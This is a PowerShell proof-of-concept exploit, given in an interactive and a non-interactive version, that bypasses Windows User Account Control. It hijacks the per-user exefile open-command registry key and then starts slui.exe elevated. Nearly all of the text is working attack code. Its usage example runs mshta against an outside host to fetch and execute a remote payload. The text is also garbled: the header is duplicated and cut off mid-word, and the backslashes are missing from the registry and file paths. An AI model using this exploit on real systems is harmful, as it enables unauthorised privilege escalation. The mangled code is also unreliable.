Interactive Version:

<#
.SYNOPSIS
This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
Function : SluiH Interactive Version:

<#
.SYNOPSIS
This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
Function : SluiHijackBypass
File Name : SluiHijackBypass.ps1
Author : Gushmazuko
.LINK
https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1
Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
.EXAMPLE
Load "cmd.exe" (By Default used 'arch 64'):
SluiHijackBypass -command "cmd.exe" -arch 64

Load "mshta http://192.168.0.30:4444/0HUGN"
SluiHijackBypass -command "mshta http://192.168.0.30:4444/0HUGN"
#>

function SluiHijackBypass(){
Param (

[Parameter(Mandatory=$True)]
[String]$command,
[ValidateSet(64,86)]
[int]$arch = 64
)

#Create registry structure
New-Item "HKCU:SoftwareClassesexefileshellopencommand" -Force
Set-ItemProperty -Path "HKCU:SoftwareClassesexefileshellopencommand" -Name "(default)" -Value $command -Force

#Perform the bypass
switch($arch)
{
64
{
#x64 shell in Windows x64 | x86 shell in Windows x86
Start-Process "C:WindowsSystem32slui.exe" -Verb runas
}
86
{
#x86 shell in Windows x64
C:WindowsSysnativecmd.exe /c "powershell Start-Process C:WindowsSystem32slui.exe -Verb runas"
}
}

#Remove registry structure
Start-Sleep 3
Remove-Item "HKCU:SoftwareClassesexefileshell" -Recurse -Force
}


################################################################################


Non-Interactive Version:

<#
.SYNOPSIS
Noninteractive version of script, for directly execute.
This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
.NOTES
File Name : SluiHijackBypass_direct.ps1
Author : Gushmazuko
.LINK
https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass_direct.ps1
Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
.EXAMPLE
Load "cmd.exe" (By Default used 'arch 64'):
powershell -exec bypass .SluiHijackBypass_direct.ps1
#>

$program = "cmd.exe"
New-Item "HKCU:SoftwareClassesexefileshellopencommand" -Force
Set-ItemProperty -Path "HKCU:SoftwareClassesexefileshellopencommand" -Name "(default)" -Value $program -Force
#For x64 shell in Windows x64:
Start-Process "C:WindowsSystem32slui.exe" -Verb runas
#For x86 shell in Windows x64:
#C:WindowsSysnativecmd.exe /c "powershell Start-Process "C:WindowsSystem32slui.exe" -Verb runas"
Start-Sleep 3
Remove-Item "HKCU:SoftwareClassesexefileshell" -Recurse -Force